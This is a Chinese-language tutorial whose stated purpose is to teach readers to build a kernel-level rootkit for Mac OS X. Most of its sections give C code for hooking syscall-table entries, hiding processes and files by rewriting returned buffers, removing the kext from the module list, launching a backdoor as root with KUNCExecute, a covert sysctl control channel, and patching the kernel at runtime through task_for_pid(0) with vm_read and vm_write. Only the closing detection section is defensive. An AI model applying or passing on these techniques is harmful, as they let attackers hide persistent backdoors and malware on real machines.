1.引言

1.1 背景介绍

        困 扰着不同操作系统的Rootkit已经由来已久,Linux,Windiws,还有各种类BSD等系统都受到了Rootkit的极大危害。目前广泛使用的 一类“内核Rootkit”,是原来“文件转移Rootkit”的衍生和发展。这种发展趋势的必然性,来源于Rootkit和Osiris、 Tripwire等安全软件之间的竞争——后者的出现使得Rootkit开发者不得不在内核空间中寻找更加隐秘的途径,以达到渗透和颠覆系统的目的。
        Rootkit 是以后门(backdoor)或者嗅探程序(sniffer)等形式存在的恶意代码,其基本行为表现为篡改标准工具和命令的行为与输出。就像计算机安全领 域的其他分支一样,Rootkit与Anti-Rootkit之间总存在着“你高一尺,我高一丈”的对立竞争关系,而且随着技术的发展,这场竞争已经愈演 愈烈。
        在本文中,以向读者引导和介绍在一个特定系统上实现Rootkit的具体方法为目的,我们将在Apple的Mac OS X操作系统上实现一个运行时内核补丁,完成一个内核级的Rootkit。Apple的Mac OS X系统支持两种不同的CPU架构,即Intel和PowerPC体系。我们实现的Rootkit是体系结构无关的,大部分代码在两种架构下都可以兼容运 行。

1.2 Rootkit基础

        Rootkit的目的之一是隐藏自身,因此内核级的Rootkit一般都具有隐藏文件、进程和网络套接字通信的能力,而高级一些的甚至具有后门和和键盘嗅探的功能。
        当 一个程序,如“/bin/ls”需要列出一个目录下的所有文件时,它会调用内核中的系统调用函数。随着getdirentries()的函数运行,控制流 程从用户空间转移到内核空间,由内核完成用户的请求操作。最终getdirentries()再将特定目录下的文件列表信息返回到用户空间,呈现在用户面 前。
        为了达到从getdirentires()返回的信息中隐藏特定文件的目的,我们需要修改系统调用返回的文件信息,并在 其到达用户空间之前将特定的条目删除。要实现这个功能有多种选择,一是修改文件系统的处理层,例如虚拟文件系统(VFS)等;二是直接修改目标所指的 getdirentires()函数。相对前者,修改系统调用要简单一些,这也是我们所倾向采用的方法。

1.3 系统调用基础

        当 用户空间的程序需要调用内核空间的函数时,它就要唤起(invoke)一个系统调用。系统调用可以看作是提供了特定内核服务的API函数,如文件读写,打 开关闭网络连接等等。每一个系统调用都有唯一的编号,称为系统调用号,在唤起时就是通过编号来判断调用的具体函数。
        当一个用 户空间的进程需要调用内核函数时,总是先调用一个在libc库中的包装函数,由它产生软件中断,将控制流从用户空间转移到内核。内核在一个称作“系统调用 表”的地方,保存了一份可用的系统调用函数列表,每一个入口项都有一个函数指针,指向编号所对应的系统调用的函数位置。届时,内核将在系统调用表中查找编 号所指的函数入口,并交由后者来处理用户空间的请求。完整的系统调用列表可以在/usr/include/sys/syscall.h文件中找到。如果 Rootkit想要隐藏什么文件,只需关注下面几个系统调用函数就可:

196 - SYS_getdirentries
222 - SYS_getdirentriesattr
344 - SYS_getdirentries64

        上 述的每一个入口都指出了和列出文件有关的内核函数的地址。SYS_getdirentries是一个先前就有的函数版 本,SYS_getdirentriesattr与前者类似,带有对MAC OS X的特征支持,而SYS_getdirentries64则是较新的版本,支持更长的文件名。通常情况下,SYS_getdirentries由bash 使用,ls用的是SYS_getdirentries64,而SYS_getdirentriesattr则只能由OS X集成的应用程序,如Finder等来使用。在实现Rootkit时,为了向端用户提供统一的输出口径,这其中的每一个函数都要被替换掉。
        为了实现修改函数输出的功能,设计一个能够替换原始函数的包装函数是十分必要的。包装函数首先调用原始的函数,搜索其输出,做必要的修改和验证之后再返回到用户空间。

1.4 用户空间与内核空间

        就 像用户空间的进程有其私有独立的内存地址一样,内核也是在相对独立的地址空间中运行的。这同时意味着在内核中想要自由、不受约束的读写内存地址是不可能实 现的了。当内核空间的程序想要修改用户空间的地址,如拷贝数据到用户空间时,就需要遵守特定的协议和处理例程。好在为了完成特定的任务,有相当数量的辅助 函数可以参考和借鉴,在这里我们就可以使用copyin和copyout这两个函数。



2 XNU内核介绍

        Mac OS X操作系统的内核叫做XNU,其核心是基于Mach微内核与FreeBSD 5而实现的。系统在Mach层,负责内核线程、进程、多任务调度、消息传递、虚拟内存管理以及控制台IO等多项任务;接着Mach之上的是BSD层,提供 了与POSIX标准相兼容的API,网络功能,以及文件系统等等。XNU内核采用了一个称之为“I/O Kit”的面向对象框架来实现设备驱动程序的加载和卸载,它既可以将不同的技术糅合在一起为同样的目的服务,也为修改操作系统提供了一条的简便途径。除此 之外,XNU内核还有一个有趣的事情,内核和用户空间都使用各种独立的4GB的地址空间,和我们在其他操作系统中见到的好像不太一样。^_^

2.1 OS X内核Rootkit的历史

        目 前已知的在Mac OS X系统上发布的最早内核Rootkit是WeaponX,由nemo开发,出现于2004年11月份。它采用了和大多数Rootkit一样的内核扩展(可 加载内核模块,LKM)技术,提供了内核Rootkit的各项基本功能。然而WeaponX的兼容性不是很好,随着后来Mac OS X内核的调整,在新系统上也就不能再正常工作了。
        在最近发布的几个Mac OS X的版本中,Apple作了很多工作,加强了内核防护,让系统渗透变得困难了许多。更令人感到沮丧的是,系统调用表等重要的内核结构,都不再向开发者公开其具体细节,此时开发Rootkit的工作更是显得难上加难。

2.2 寻找系统调用表

        版 本号为10.4的OS X系统已经没有导出的内核符号表的存在,这意味着编译器将无法自动确定系统调用表在内存中的存放位置了。此时,可以迂回的,采用在内存空间中强力搜索,或 者寻找其他参照物的方法来解决这个问题。Landon Fuller发现的一条简便途径,系统的输出符号之一nsysent(系统调用表中的入口数目)就位于和系统调用表临近的某个位置,用特殊的程序就将其找 到并返回一个指向系统调用表的指针,具体细节可以参http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html 。最终,我们得到了系统调用表入口项的数据结构如下:

struct sysent {
int16_t                sy_narg;                                /* number of arguments */
int8_t                reserved;                                /* unused value */
int8_t                sy_flags;                                /* call flags */
sy_call_t                *sy_call;                                /* implementing function */
sy_munge_t        *sy_arg_munge32;                /* system call arguments for32-bit processes */
sy_munge_t        *sy_arg_munge64;                /* system call arguments for 64-bit processes */
int32_t                sy_return_type;                /* return type */
uint16_t                sy_arg_bytes;                        /* Size of all arguments for system calls, in bytes */
}  *_sysent;

        该 结构中,我们最感兴趣的莫过于“sy_call”指针了,它指出了系统调用处理函数的实际位置,同时也提示了我们待会儿准备HOOK的目标。说到HOOK 的过程,原理上其实相当简单,只需将“sy_call”指针指向内存中我们自己提供的处理函数就可以了。

2.3 未公开的内核结构

        在 10.4版的OS X中,Apple修改了内核结构,以求更好的内核API稳定性。因此即使是在内核调整之后,内核扩展设施仍然能够正常工作。然而正是由于Apple所做的 这些修改,才隐藏了API内部的大量实现细节和关键数据结构,只将某些部分有选择的公开给开发者。
        这里有一个未公开结构的例子,标识进程的数据结构“proc”。该结构从用户和内核空间都可以访问,用户空间的结构定义在/usr/include/sys/proc.h文件,如文中的代码所示(恕不列出)。
        内 核中的“proc”结构定义可以从XNU的源代码包中获得,位于xnu-xxx/bsd/sys/proc_internal.h文件,其内部的数据域要 比用户空间中的丰富很多。如果我们回到10.3版本去看一下同样用户空间的proc结构,如下面的代码,也会发现原来的具有更多的数据成员,如文中的代码 所示(恕不列出)。
        Mac OS X从10.3到10.4的版本演变过程中,Apple重新修改了这些结构,删去了相当数量的结构体成员。在这其中,有一个p_ucred指针,指向的是一 个描述当前进程所属用户受信任程度的数据结构。事实证明,这样做确实有效的遏制住了nemos的攻击势头。后者试图以下面的代码将一个进程的 user-id和group-id设为0,以期取得root权限。然而现在失去了篡改的变量,攻击方法自然也就行不通了。

void uid0(struct proc *p) {
        register struct pcred *pc = p->p_cred;
        pcred_writelock(p);
        (void)chgproccnt(pc->p_ruid, -1);
        (void)chgproccnt(0, 1);
        pc->pc_ucred = crcopy(pc->pc_ucred);
        pc->pc_ucred->cr_uid = 0;
        pc->p_ruid = 0;
        pc->p_svuid = 0;
        pcred_unlock(p);
        set_security_token(p);
        p->p_flag |= P_SUGID;
        return;
}

        这 对于那些需要修改内核结构的Rootkit开发者来说,已经成了一个不可回避的问题,一方面内核结构是未输出和未公开文档化的,另一方面系统自身版本的演 进也加快了结构调整的步伐。不过仍然让我们感到幸运的是,内核代码目前都是开源的,从Apple处可以自由下载。从某种意义上说,这为我们从源代码中提取 需要的数据结构打开了方便之门。

2.4 I/O Kit框架

        Mac OS X为创建设备驱动程序提供了一个完整的实现框架,包括多种库、工具和资源等各项组件,就是我们前面提到的“I/O Kit”。I/O Kit在Mac OS X中为上层提供了一个硬件设备的抽象视图,简化了设计过程,也节省了开发时间。整个框架是以面向对象的原则,采用了一种裁剪过的C++语言来实现的,保证 了框架结构的清晰,也提高了代码的重用效率。
        I/O Kit在内核空间中运行,并且和实际的硬件相交互,所以用来编写键盘记录程序keylogger是再合适不过的了。drspringfield写的 “logKext”就是这方面一个比较典型的例子,它利用I/O Kit框架来记录用户的击键事件。I/O Kit还有其他很多方面的用途,在实现Mac OS X的内核Rootkit时借助它的帮忙可以省去很多不必要的麻烦。



3 Mac OS X下的内核开发

        Mac OS X下的内核开发可有多条途径,最简便的就是将“改进”的功能作为内核驱动加载上去。驱动程序可以BSD子层内核扩展,或者面向对象的I/O Kit驱动的方式添加。而这里最简单的内核扩展程序开发方式就要数专门为“Generic Kernel Extension”而设计的XCode-templates了。打开Xcode程序,在“File”菜单中选择“New Project”新建一个项目,在“Kernel Extension”下从可用的模板列表中选择“Generic Kernel Extension”,取一个合适的名字,如“rootkit 0.1”,最后单击“Finish”,就成功的创建了一个Xcode项目了。自动生成的c文件包含了下面所示的内核扩展的入口和出口函数。

kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}

kern_return_t rootkit_0_1_stop (kmod_info_t * ki, void * d) {
    return KERN_SUCCESS;
}

        使 用/sbin/kextload,内核扩展在加载时会调用rootkit_0_1_start()函数,相对的,使用/sbin/kextunload来 卸载,调用的则是rootkit_0_1_stop()。加载和卸载内核扩展都需要root权限,之后这些函数都是在内核空间中运行,对整个操作系统有着 完全的控制权。因此这就要求在编写这些函数时要慎之又慎,一不小心就有可能导致系统的崩溃。这里借用Apple《Kernel Program Guide》中的一句话,“内核编程是一项黑色艺术,应该避免所有的可能,确保万无一失!”,以此来说明内核编程工作的危险性是再合适不过的了。
        一般来说,在start()函数中对内核做出的任何修改都应该在stop()函数中恢复回来。函数,变量,还有其他形式的本地对象等等都应该在模块卸载时析构,否则后续对其的引用可能引发系统的错误行为,严重时将导致系统崩溃。
        构 建自己的项目只需要点击“build”按钮即可,编译好的内核扩展文件将存放在build/Relase/目录下,并命名为“rootkit 0.1.kext”。不过请注意,/sbin/kextload只有当内核扩展属于root用户和wheel用户组时,才能加载扩展程序,否则有可能拒绝 用户的加载请求。更改文件的属主可以用chown命令,不喜欢Xcode图形界面的黑客们也可以采用命令行的方式来构建项目,只需输入 “xcodebuild”即可。
        Apple通过Mac OS X DVD的形式提供了我们所需的XCode IDE和gcc编译器,http://developer.apple.com 注册后,也可以下载获得最新版本的开发工具集合。而XNU内核的源码包可以http://opensource.apple.com/darwinsource/ 处下载,在开发时最好保留一份以便快速参考。
        使 用内核扩展API的最大好处就是,kextload命令接管了连接和加载时的所有操作。这意味着整个Rootkit可以用C语言编写,不用关心之外的繁琐 操作。C语言编写的程序效率较高,可移植性也不错,在Mac OS X支持的两种CPU架构上都可适用。

3.1 内核版本依赖性

如 前所述,Landon Fuller已经注意到在10.4版OS X上找到nsysent变量就可以取得系统调用表的地址。然而随着内核发行版本的不同,参考目标之间的相对位置也在发生着或多或少的变化。因此,内核发行 版本间的差异使得内核依赖性的配置操作在内核扩展程序的设计过程中也显得尤为重要。XCode-project中有一个“Info.plist”文件,在 其中的“OSBundleLibraries”条目下加入“com.apple.kernel”键和相关内核版本描述,就可以完成内核依赖性的配置过程。

<key>OSBundleLibraries</key>
<dict>
    <key>com.apple.kernel</key>
    <string>9.6.0</string>
</dict>

        上面的语句将内核扩展程序的编译和9.6.0版本的内核联系在一起,程序每一次主版本号和次版本号的更新,都有必要将代码重新编译一遍。内核的依赖配置操作,是保证内核扩展运行时安全的必要手段之一,系统由此将拒绝加载非匹配版本的内核扩展程序。



4第一个OS X内核Rootkit

4.1 替换系统调用

        要 想快速的在内核中开辟出一片属于Rootkit的领地,我们先来看一个替换getuid()函数的例子。getuid()正常情况下返回当前用户的ID, 我们准备把它替换为一个总是返回uid为0(root用户)的函数。从直觉上讲,这样就获得了root访问权限,但实际上并没有得到root的所有特权, 在此只做一个例子展示而已。^_^

int new_getuid()
{
  return(0);
}

kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {
  struct sysent *sysent = find_sysent();
  sysent[SYS_getuid].sy_call = (void *) new_getuid;

  return KERN_SUCCESS;
}

        上面的代码首先定义了一个新的getuid()函数,总是返回0值。该新函数在kextload中加载到内核内存,当start()函数运行时,它将原来的getuid()用新的替换掉,最终内核扩展程序操作成功后将返回KERN_SUCCESS。
        完整的源代码放在本文的附件里,除了上述加载的部分,卸载的部分也已包括其中。

4.2 隐藏进程

“/bin /ps”,“top”和监控所有运行进程的操作都要用到系统调用sysctl。我们知道,sysctl是一个多动能的、和内核多种功能交互的通用目的 API,既可以用来列举运行进程,也可以执行打开网络连接等各项操作。现在准备截取和修改系统的进程列表,那渗透sysctl系统调用当然就是我们不二的 选择了。
        截取sysctl系统调用的方法和前面getuid()的一样,但是需要特别注意的是这里调用的参数情况。 Apple为了支持大端序和小端序两种内存数据的组织形式,使用了数据填充的宏PADL和PADR。它们也带了一些副作用,使得程序的参数结构看上去非常 怪异,不易理解。在使用这些参数结构时建议直接从XNU的源代码包中拷贝相关结构体的定义部分到目标文件,免得数据填充时引起莫名的混淆和错误。
sysctl 通过一个char类型数组“name”传递功能命令,该命令是按照层次组织的,并且经常包括一些子命令,子命令也会附带自己的参数等等。sysctl及其 子命令的详细说明可以参考“/usr/include/sys/sysctl.h”文件,这其中有CTL_KERN->KERN_PROC的命令请 求,将系统的运行进程列表拷贝到用户提供的缓冲区中。从Rootkit的角度来看,这引入了一个问题——我们意图在数据返回到用户之前修改其输出,但它却 直接将数据返回到了用户提供的缓冲区里。不过幸运的是,我们此时仍然有办法在返回到用户应用程序之前成功的篡改数据,只要将数据从用户空间先拷贝到内核空 间的缓冲区,修改完成后再复制回去即可。
        首先为了拷贝数据,需要用MALLOC宏分配必要的内存空间;接着用copyin函 数将用户空间的数据拷贝到内核中来;然后是对数据的筛选和验证过程,留下不重要的,删去那些敏感的信息,将缓冲区中的内容覆盖掉就可以去除某个进程的相关 条目。覆盖操作可以用bcopy函数完成,一旦有数据被删除,还应该调整缓冲区的长度信息,长度缩短以后,将数据拷贝回到用户空间。

/* Search for process to remove */
for (i = 0; i < nprocs; i++)
if(plist.kp_proc.p_pid == 11) /* hardcoded PID */
{
/* If there is more then one entry left in the list
* overwrite this entry with the rest of the buffer */

if((i+1) < nprocs)
bcopy(&plist[i+1],&plist,(nprocs - (i + 1)) * sizeof(struct kinfo_proc));
/* Decrease size */
oldlen -= sizeof(struct kinfo_proc);
nprocs--;
}

        修改后的数据利用copyout函数拷贝回到用户空间的缓冲区。在本例中,用到了两个相关的拷贝函数,suulong拷贝少量的数据到用户空间,copyout则将整个数据缓冲区都拷贝回去。

/* Copy back the length to userspace */
suulong(uap->oldlenp,oldlen);

/* Copy the data back to userspace */
copyout(mem,uap->old, oldlen);

        数据被修改之后,在缓冲区的尾部可能会残留着原来最后一个进程条目的相关信息,作为检测内存篡改的依据。为了确保篡改不被发现,有必要将缓冲区的空余部分都设置为0。

4.3 隐藏文件

        如 前所述,和隐藏文件有关的三个系统调用分别是SYS_getdirentries,SYS_getdirentriesattr和 SYS_getdirentries64。它们都使用共享sysctl的方式填充所提供的数据缓冲区,并接收返回的数据长度计数值。由于其中各结构变量的 尺寸不同,数据转换时需要进行准确的指针运算。然而有过C语言编程经验的人都知道,指针算术是最容易犯错误的领域之一,在系统内核的范围之内,稍不注意更 是有可能造成严重后果。而且要做到隐藏文件的一致性,getdirent族的三个系统调用都有修改的必要。
        隐藏文件的过程和隐藏进程非常类似,先调用原始的函数,将返回数据从用户空间拷贝到内核空间,修改之后再拷贝回去就可以了,具体细节可以参考文章附件里的代码。

4.4 隐藏内核扩展程序

        平时用kextstat命令就可以列举出系统内的所有内核模块,如果Rootkit的模块也被显示出来,那Rootkit将毫无任何隐蔽性可言。Nemo在WeaponX的实现时,想出了一个简单的方法来克服这个问题。

extern kmod_info_t *kmod;

void activate_cloaking()
{
kmod_info_t *k;
k = kmod;
kmod = k->next;
}

        上 面的代码搜索可加载内核模块的链表,简单的将Rootkit的模块从中删除。kextstat命令在执行时会遍历该链表,输出模块信息。现在 Rootkit的模块没有了,自然也就销声匿迹了。不过在kextunload的时候,由于找不到模块,执行也会以失败而告终,这也算是获得隐蔽性所换来 的代价吧。

4.5 在内核空间运行用户空间的程序

        Mac OS X中有一种特殊的API,叫做KUNC(Kernel-User Notification Center),用来从内核向用户显示一条通知信息,或者在用户空间运行程序或者命令。
        KUNC API中有在用户空间执行程序的命令KUNCExecute(),用于从内核在用户空间执行程序的目的。该函数的定义在xnu-xxx/osfmk /UserNotification/KUNCUserNotifications.h文件中,我们选取了如下的代码片段。

#define kOpenApplicationPath        0
#define kOpenPreferencePanel        1
#define kOpenApplication                2

#define kOpenAppAsRoot                        0
#define kOpenAppAsConsoleUser                1

kern_ret_t KUNCExecute(char *executionPath, int openAsUser, int pathExecutionType);

        “executionPath” 是要执行的程序路径。“openAsUser”标志指出执行程序所属的用户,既可以是“kOpenAppAsConsoleUser”,属于当前登录用 户,也可以是“kOpenAppAsRoot”,作为root用户执行。最后的“pathExecutionType”也是一个程序标志,指出执行程序的 类型,有以下几种取值:

kOpenApplicationPath                按照绝对路径定位可执行程序
kOpenPreferencePanel                优先定位/System/Library/PreferencePanes目录下的可执行程序
kOpenApplication                        优先定位/Applications目录下的可执行程序

此时如果要执行的是“/var/tmp/mybackdoor”,只需编写下面的函数调用即可:

KUNCExecute("/var/tmp/mybackdoor", kOpenAppAsRoot, kOpenApplicationPath);

        KUNCExecute 函数在某些触发器程序上有着广泛的应用,例如勾挂TCP处理函数之后,在用户空间向源IP地址回发一个标志报文,触发源IP端的某种响应功能就可以用到 它。有时,我们也可以勾挂SYS_open函数,根据特殊的标志执行KUNCExecute调用,扩大后门程序的本地权限。由此观之,利用 KUNCExecute为我们的Rootkit所带来的可能性是无穷无尽的。

4.6 从用户空间控制Rootkit

        一旦合适的系统调用和内核函数都被替换过之后,新的函数就可以隐藏文件、进程,甚至打开系统的网络连接通信了。通常,要触发Rookit开始工作就是勾挂特定的系统调用函数和匹配特定的信号。该过程在实现上比较简单,不需要额外的工具支持就可以做到。
        当 隐藏进程时,可以勾挂fork()和exec()等函数族,根据参数传入的特定标志隐藏单个进程或者整个进程树。而隐藏文件和套接字通信时,则更具技巧一 些。因为此时没有类似前者使用的标志那样的东西,可以通知Rootkit需要在何时何地隐藏什么,所以我们转而想办法要创建一些新的系统调用出来。创建新 的系统调用并不是件困难的事情,勾挂原始的,再加上一个特殊的参数,能够触发通信的隐蔽通道就可以了。不过,这需要用户空间特殊工具的支持,借助它们才能 提供正确的参数,并调用到正确的函数。然而,特殊工具的使用也大大增加了Rootkit被检测到的风险,即便是在Rootkit想尝试隐藏它们的情况下也 是如此。随后建立隐蔽通道的过程倒是不需要特殊工具,也不需要修改/dev/目录下的什么东西,只需要sysctl函数就可以了。在Mac OS X内核驱动中可以注册自己的变量并利用/usr/sbin/sysctl就可以修改它们。我们可以观察变量的值,获知外部通知的工作信号。
        注册一个新的sysctl的过程也不困难,我们从《Linux on-the-fly kernel patching without LKM》一文中截取了下面的示例代码。

/* global variable where argument for our sysctl is stored */
int  sysctl_arg = 0;

static int sysctl_hideproc SYSCTL_HANDLER_ARGS
{    
int error;    
error = sysctl_handle_int(oidp, oidp->oid_arg1,oidp->oid_arg2, req);
                
if (!error && req->newptr)
{        
if(arg2 == 0)
printf("Hide process %d/n",sysctl_arg);
else              
printf("Unhide process %d/n",sysctl_arg);
}
/* We return failure so that we dont show up in "sysclt -A"-listings. */
return KERN_FAILURE;
}

/* Create our sysctl:s */
SYSCTL_PROC(_hw, OID_AUTO,
                        hideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
                    &sysctl_arg, 0, &sysctl_hideproc , "I", "Hide a process");

SYSCTL_PROC(_hw, OID_AUTO,
                        unhideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
                    &sysctl_arg, 1, &sysctl_hideproc , "I", "Unhide a process");

kern_return_t kext_start (kmod_info_t * ki, void * d) {

/* Register our sysctl */
sysctl_register_oid(&sysctl__hw_hideprocess);
sysctl_register_oid(&sysctl__hw_unhideprocess);

return KERN_SUCCESS;
}

        这 段代码注册了两个新的sysctl变量,hw.hideprocess和hw.unhideprocess。当使用sysctl –w,设置信号变量hw.hideprocess=99时,会调用sysctl_hideproc()函数,将参数传入PID的进程从列表中隐藏。隐藏文 件的sysctl于此稍有不同,区别在于它要传入一个指出文件路径的字符串作为参数。使用sysctl作为隐蔽通信途径的最大好处就是它支持动态的变量注 册,而且sysctl几乎是所有操作系统的标准配置,系统内部的大量使用让用户难以区分其目的是善意还是恶意的。
        用户空间和内核通信的方法还有很多,其他的例如使用Mach进程间通信 API,或者内核控制套接字等,都可以从用户空间控制我们的内核Rootkit。



5 运行时内核补丁

        除 了使用内核模块和kext族命令之外,还有一个利用Mach层API的方法可以给系统内核打上运行时补丁,劫持系统调用。这在Rootkit开发领域已经 不算稀奇,先前如sd的SucKIT和rebel的phalanx,两种Linux下的Rootkit都已经采用了这种技术。
        SucKIT 和phalanx在Linux下访问内核地址空间用的都是/dev/kmem或者/dev/mem。不过这二者在Mac OS X中从10.4版之后都已经删除,由Mach子系统提供了另外一套非常有用的内存管理函数。对于Rootkit开发者来说,感兴趣的可能有 vm_read(),vm_write()和vm_allocate()等几个。一旦获得了root权限,它们就可以从用户空间随意的读取或者写入数据到 内核地址范围,并且分配内核内存空间等等。在这其中,又要数vm_allocate()函数的价值最为重大了。原来在其他操作系统中,通常都是采用 kmalloc()替换一个系统调用的方法,在内核中分配内存空间。这样需要攻击者在操作之前保存原始的包装函数,某些情况下,用户空间其他程序调用同一 个系统调用还会引起竞争条件的错误。现在,Mac OS X为内核开发者们提供了专门的内核分配函数,便利性和稳定性都提高了很多。

5.1 劫持系统调用

我 们可以利用vm_read()和vm_write()来劫持系统调用。首先,我们需要定位系统调用表的位置,表中包含了我们准备劫持的指向处理函数的指 针。具体方法就如前面Landon Fuller的做法一样,在内核和用户空间都同样有效。接着我们用vm_read()读取一个系统调用处理函数的地址,例如SYS_kill,读取其结构 中sy_call变量即可。

mach_port_t port;
pointer_t buf; /* pointer to your result */
unsigned int r_addr = (unsigned int)&_sysent[SYS_kill].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_kill_addr = 0; /* final destination */

/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port/n");
exit(EXIT_FAILURE);
}

/* read len bytes from r_addr, return pointer to the data in &buf */
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
fprintf(stderr, "could not read memory/n");
exit(EXIT_FAILURE);
}

/* do proper typecast */
sys_kill_addr = *(unsigned int*)buf;

        SYS_kill 处理函数的地址已经保存到sys_kill_addr变量中了,替换处理句柄只需要编写一个新的函数,将其地址用vm_write()写到sy_call 就可以了。在下面的例子中,我们用SYS_exit的处理句柄来替换SYS_setuid的处理函数,这样任何对SYS_setuid 的调用最终都将导致程序的终止。

SYSENT *_sysent = get_sysent_from_mem();
mach_port_t port;
pointer_t buf;
unsigned int r_addr = (unsigned int)&_sysent[SYS_exit].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_exit_addr = 0; /* final destination */
unsigned int sz, addr;

/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port/n");
exit(EXIT_FAILURE);
}

/* read len bytes from r_addr, return pointer to the data in &buf */
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
fprintf(stderr, "could not read memory/n");
exit(EXIT_FAILURE);
}

/* do proper typecast */
sys_exit_addr = *(unsigned int*)buf;

/* address to system call handler pointer of SYS_setuid */
addr = (unsigned int)&_sysent[SYS_setuid].sy_call;

/* replace SYS_setuids handler with the handler of SYS_exit */
if (vm_write(port, (vm_address_t)addr, (vm_address_t)&sys_exit_addr, sizeof(sys_exit_addr))) {
fprintf(stderr, "could not write memory/n");
exit(EXIT_FAILURE);
}

        现 在如果程序调用setuid(),将被重定向到调用SYS_exit函数。我们用的是Mach API,同样的功能内核扩展程序也可以做到。有时为了创建一些包装函数,或者替换一个完整的函数,就需要在内核中为存储新的代码而分配内存空间。下面的例 子中,我们将演示用Mach API分配一个4096字节的内核内存区域。

vm_address_t buf;                /* pointer to our newly allocated memory */
mach_port_t port;                /* a mach port is a communication channel between threads */

/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port/n");
exit(EXIT_FAILURE);
}

/* allocate memory and return the pointer to &buf */
if (vm_allocate(port, &buf, 4096, TRUE)) {
fprintf(stderr, "could not allocate memory/n");
exit(EXIT_FAILURE);
}

一切顺利的话,可以得到一片4096字节的内存缓冲区,我们自己编写的勾挂函数就可以存放在这里。

5.2 操纵直接内核对象(Direct Kernel Object)

        Mach API不仅可以劫持系统调用,它也可以用来操纵各种各样的内核对象。这里有一个allproc结构的例子。
allproc 是系统当前运行进程的列表结构,通过ps和top命令可以从其中取得运行进程的相关信息。因此如果要隐藏进程的话,从allproc列表中删除特定进程的 条目也不失为一种不错的方法。allproc结构和前面提到的nsysten变量一样,属于系统导出的符号,只要使用下面的语句就可以在内存中找到 allproc的地址:

# nm /mach_kernel | grep allproc
0054280c S _allproc
#

        取 得allproc结构的地址0x0054280c之后,对进程列表就可以做尽情的修改了。Kong在《Designing BSD Rootkits》一书中指出,这里有LIST_FOREACH()和LIST_REMOVE()两个宏可以遍历和删除列表中的某个条目,为修改操作提供 了很大的便利。不过此时我们还不能直接修改内存,只有用vm_read()先将数据读出来,修改后再用vm_write()将数据写回去,才能实现进程的 隐藏功能。



6 检测

        要检测Rootkit有时是十分困难的,一些常见Rootkit在文件系统,网络连接等方面留下的踪迹可以作为其识别的重要依据。然而如果碰到了未知的Rootkit,检测出来的可能性就微乎其微了。
        检测系统调用表的完整性是识别Rootkit的重要手段之一,时刻保存一份系统调用表的备份数据和监控当前的系统状态是保持系统完整的必经之路。大多数的解决方案都采用了影子备份数据的方法,在原始表被渗透之后启用备份的新表。
        Rootkit 在截取和修改系统调用返回的数据之后,有可能在缓冲区的末尾留下一些垃圾信息,这通常都是由于Rootkit开发者们的疏忽所致。反过来看,这正好也为检 测一方提供了绝好的识别物证。还有当返回计数和实际获得的项目数不匹配时,也有Rootkit作怪的可能。而至于寻找隐藏文件的方法,可以编写一个应用程 序直接访问底层的文件系统,将内核输出的文件信息和读取的作比较,看结果自然就一目了然了。有的时候,Rootkit还会打开某些隐蔽的系统端口,虽然有 端口扫描技术来做检测,但是Rootkit也使用了port-knocking等其他的信号机制来避免打开更多的端口资源。Rootkit的检测就像一场 猫和老鼠的游戏,风水总是轮流转个不停,不存在永远的赢家和失败者。

6.1 检测勾挂的系统调用

        前 面已经介绍了勾挂系统调用的具体步骤,现在我们将展示一个简单有效的检测劫持系统调用的方法。如前所述,在导出符号nsysent的地址上加32字节,就 可以得到系统调用表的基址,而且nsysent保存了系统中可用的系统调用函数的数目,在10.5.6版Mac OS X上的值为427 (0x1ab)。
        现在欲检测当前系统的系统调用表是否已被渗透,就需要一个像原始表一样的对比标准。在Mac OS X文件系统的根目录下,我们找到一个名为“mach_kernel”、未压缩、通用的内核镜像文件,以16进制的方式打开,可以看到下面的数据片段:

# otool -d /mach_kernel | grep -A 10 "ab 01"
[...]
0050a780                ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a790                00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050a7a0                00 00 00 00 94 cf 38 00 00 00 00 00 00 00 00 00
0050a7b0                01 00 00 00 00 00 00 00 01 00 00 00 6a 37 37 00
#

        在 地址0050a780处,我们看到了这个神奇的数字——427 (0x000001ab) ,可用的系统调用数。往后移动32个字节,有数值0x0038cf94,这就是系统调用表的起始位置。那剩下的只用将镜像拷贝至缓冲区,找到 nsysent的偏移,再加上32个字节,返回一个指针作为原始的系统调用表的起始地址就可以了,这所有的步骤都可以用下面的C语言代码来实现,如文中的 代码所示(恕不列出)。
        文中的代码可用作一个简单的检测函数,还有不尽如人意的地方。攻击者可以操纵SYS_open调用, 并在访问/mach_kernel镜像时将控制流转移到Rootkit定义的文件中去。而且该方法尚不能检测系统调用的函数内联勾挂(inline function hooks),要解决这个问题还需要更多复杂的检测技术。



7 总结

        Mac OS X操作系统上的Rootkit已经不再是一个全新的话题了,但是至今还缺乏像Windows和Linux那样全面而细致的研究整理。看过本文,或许你已感 觉到这其中的技术和类Unix操作系统的十分类似,但是又带有OS X自己的,诸如I/O Kit和Mach API等可以渗透XNU内核的鲜明特征。
        操纵系统调用、内核内部的数据结构以及XNU内核的其他部分,对Rootkit隐藏进程、文件和目录,甚至通过后门来远程操控的 功能都是至关重要的。所有这些都可以通过内核扩展程序和Mach API来实现,两种技术虽有不同,但都可以应用到我们的Rootkit中,用的好的话,Rootkit的隐蔽性能将大大提升。
        本文的目的在于给出Rootkit的基本概念,针对不同级别的读者群体,以引导和介绍的方式向大家展示一个Mac OS X Rootkit的制作过程。最后,在本文结束时,我也衷心的希望本文能够给大家带来一些收获和体会。^_^

Logo

更多推荐